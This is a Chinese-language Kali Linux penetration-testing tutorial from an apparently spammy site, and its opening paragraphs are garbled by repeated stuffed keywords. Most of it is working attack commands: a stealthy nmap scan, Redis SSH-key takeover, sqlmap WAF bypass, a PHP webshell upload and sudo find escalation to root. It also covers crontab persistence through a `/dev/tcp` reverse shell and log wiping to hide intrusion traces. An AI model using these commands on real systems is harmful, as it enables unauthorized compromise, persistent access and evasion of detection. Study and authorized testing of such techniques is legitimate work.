您现在的位置是:烟消火灭网 > 百科

kail渗透教程

烟消火灭网2026-10-17 07:45:16【百科】9人已围观

简介Kali Linux 装好只是第一步。很多人卡在“工具装了一堆,真到用的时候不知道敲哪条命令”。渗透测试的核心不是工具本身,而是你脑子里那条清晰的路径:信息收集→漏洞验证→权限获取→痕迹清理。下面按这

Kali Linux 装好只是渗透第一步。很多人卡在“工具装了一堆,教程真到用的渗透时候不知道敲哪条命令”。渗透测试的教程核心不是工具本身,而是渗透你脑子里那条清晰的路径:信息收集→漏洞验证→权限获取→痕迹清理。下面按这条线走一遍,教程每条命令都配一个我实际遇到的渗透场景。

信息收集:别急着上扫描器

新手最爱干的教程事就是打开终端直接 nmap -sV -A 目标IP。我一开始也这样,渗透结果扫了半小时,教程报告里全是渗透“filtered”。后来学乖了,教程先做被动收集。渗透

比如目标公司叫“XX科技”,教程先去 whois 查域名注册信息,渗透再翻他们的招聘页面——JD里写的技术栈往往就是服务器上跑的服务。有一次招聘要求里写了“熟悉Jenkins”,我直接去试 目标:8080,果然是个未授权的Jenkins面板。

主动扫描用这条:

nmap -sS -sV -p- --min-rate 5000 192.168.1.100 -oN scan.txt

-sS 是半开扫描,快且不容易被日志记录。--min-rate 别设太高,超过10000容易丢包。扫完看 scan.txt,重点关注那些“odd”端口——比如 8080、8443、6379。6379 是 Redis,没密码的话直接写 SSH key 拿 shell,这招在内网里百试百灵。

漏洞验证:别迷信自动化

OpenVAS 和 Nessus 的报告能看,但别全信。它们报的“高危”可能是误报,真正能打的漏洞往往藏在手工测试里。

拿 SQL 注入举例。sqlmap 跑 -u "http://target/news.php?id=1" --batch 确实省事,但 WAF 一拦就废。我更喜欢先手工测:id=1' 报错,id=1 and 1=1 正常,id=1 and 1=2 异常——基本确认注入点。然后上 sqlmap -r request.txt --tamper=space2comment,用 Burp 抓的请求包配合 tamper 脚本绕 WAF。

文件上传漏洞更直接。目标站有个“上传头像”功能,只在前端 JS 里校验了 .jpg。Burp 抓包改后缀为 .php,内容写 <?php system($_GET['c']); ?>,放行。返回路径 /uploads/avatar.php,访问 avatar.php?c=id,回显 uid=33(www-data)。完事。

权限获取与维持

拿到 www-data 只是开始。Linux 提权先跑 uname -a 看内核版本,再 sudo -l 看有没有能用的命令。有次目标机器 sudo -l 显示 (ALL) NOPASSWD: /usr/bin/find,直接:

sudo find / -exec /bin/sh \; -quit

root shell 到手。这比脏牛内核提权稳多了,不重启不崩溃。

Windows 提权常用 whoami /priv 看 SeImpersonate 权限,有的话上 JuicyPotato 或 PrintSpoofer。具体命令网上教程一堆,不重复了。

维持访问别用 nc -e,太容易被杀。写个 crontab 反弹 shell 更隐蔽:

echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'" | crontab -

每五分钟回连一次。记得用 nohup 和 disown 把进程挂到后台,退出 SSH 也不会断。

清理痕迹:别留尾巴

渗透测试不是搞破坏,但痕迹该清还得清。Linux 下 history -c 清当前会话历史,再 rm ~/.bash_history。如果改了文件时间戳,用 touch -r 参考文件 你的文件 对齐。

Windows 上删日志用 wevtutil cl System,但注意——删日志本身就会触发事件ID 1102。真要隐蔽,不如只删自己操作相关的记录,别全清。

最后说一句:所有操作必须在授权范围内。我见过有人扫了隔壁公司的WiFi,结果被请去喝茶。技术是刀,拿刀的手得稳。

很赞哦!(72184)

上一篇: 免费p2p网站

下一篇: web安全测试基础知识